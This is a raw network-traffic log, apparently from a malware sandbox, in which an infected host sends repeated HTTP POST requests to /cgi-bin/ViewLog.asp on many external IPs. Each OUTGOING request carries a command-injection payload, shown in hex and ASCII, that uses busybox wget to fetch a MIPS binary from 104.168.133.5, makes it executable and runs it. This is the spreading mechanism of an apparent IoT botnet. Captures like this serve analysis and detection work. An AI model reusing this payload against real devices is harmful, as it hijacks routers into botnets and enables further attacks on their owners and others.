Nov 23, 2023 05:18:10.022200108 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
716	192.168.2.13	53518	94.70.22.46	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.361922979 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:09.624272108 CET	522	IN	HTTP/1.1 404 Not Found Server: mini_httpd/1.19 19dec2003 Date: Thu, 23 Nov 2023 06:12:28 GMT Cache-Control: no-cache,no-store Content-Type: text/html; charset=%s Connection: close Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 6e 69 5f 68 74 74 70 64 2f 22 3e 6d 69 6e 69 5f 68 74 74 70 64 2f 31 2e 31 39 20 31 39 64 65 63 32 30 30 33 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/mini_httpd/">mini_httpd/1.19 19dec2003</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
717	192.168.2.13	53144	85.69.37.166	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.477011919 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:10.054184914 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:11.174182892 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:13.414175034 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:18.022268057 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
718	192.168.2.13	47350	85.93.191.212	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.526375055 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
719	192.168.2.13	52260	31.120.216.235	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.685508013 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:09.875809908 CET	278	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
720	192.168.2.13	53556	31.136.242.35	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.692864895 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:12.902174950 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:19.046175003 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
721	192.168.2.13	47198	94.152.208.21	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.715907097 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:09.979404926 CET	525	IN	HTTP/1.1 401 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 X-Frame-Options: DENY Content-Type: application/json;charset=UTF-8 Transfer-Encoding: chunked Date: Thu, 23 Nov 2023 04:18:09 GMT Data Raw: 38 66 0d 0a 7b 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 33 2d 31 31 2d 32 33 54 30 34 3a 31 38 3a 30 39 2e 38 37 32 2b 30 30 30 30 22 2c 22 73 74 61 74 75 73 22 3a 34 30 31 2c 22 65 72 72 6f 72 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 4e 6f 20 6d 65 73 73 61 67 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 22 70 61 74 68 22 3a 22 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 7d 0d 0a Data Ascii: 8f{"timestamp":"2023-11-23T04:18:09.872+0000","status":401,"error":"Unauthorized","message":"No message available","path":"/cgi-bin/ViewLog.asp"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
722	192.168.2.13	54166	94.121.26.73	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.722306013 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
723	192.168.2.13	41862	31.200.40.117	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.740240097 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
724	192.168.2.13	39304	85.69.32.201	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.869381905 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:10.438170910 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:11.558172941 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:13.926167011 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:18.534302950 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
725	192.168.2.13	47584	94.121.188.7	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.939802885 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
726	192.168.2.13	42282	94.120.147.27	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.954325914 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
727	192.168.2.13	59894	31.200.205.239	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:09.971290112 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:10.223901987 CET	90	IN	HTTP/1.1 403 Forbidden

Session ID	Source IP	Source Port	Destination IP	Destination Port
728	192.168.2.13	41300	94.249.234.253	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:10.698942900 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * 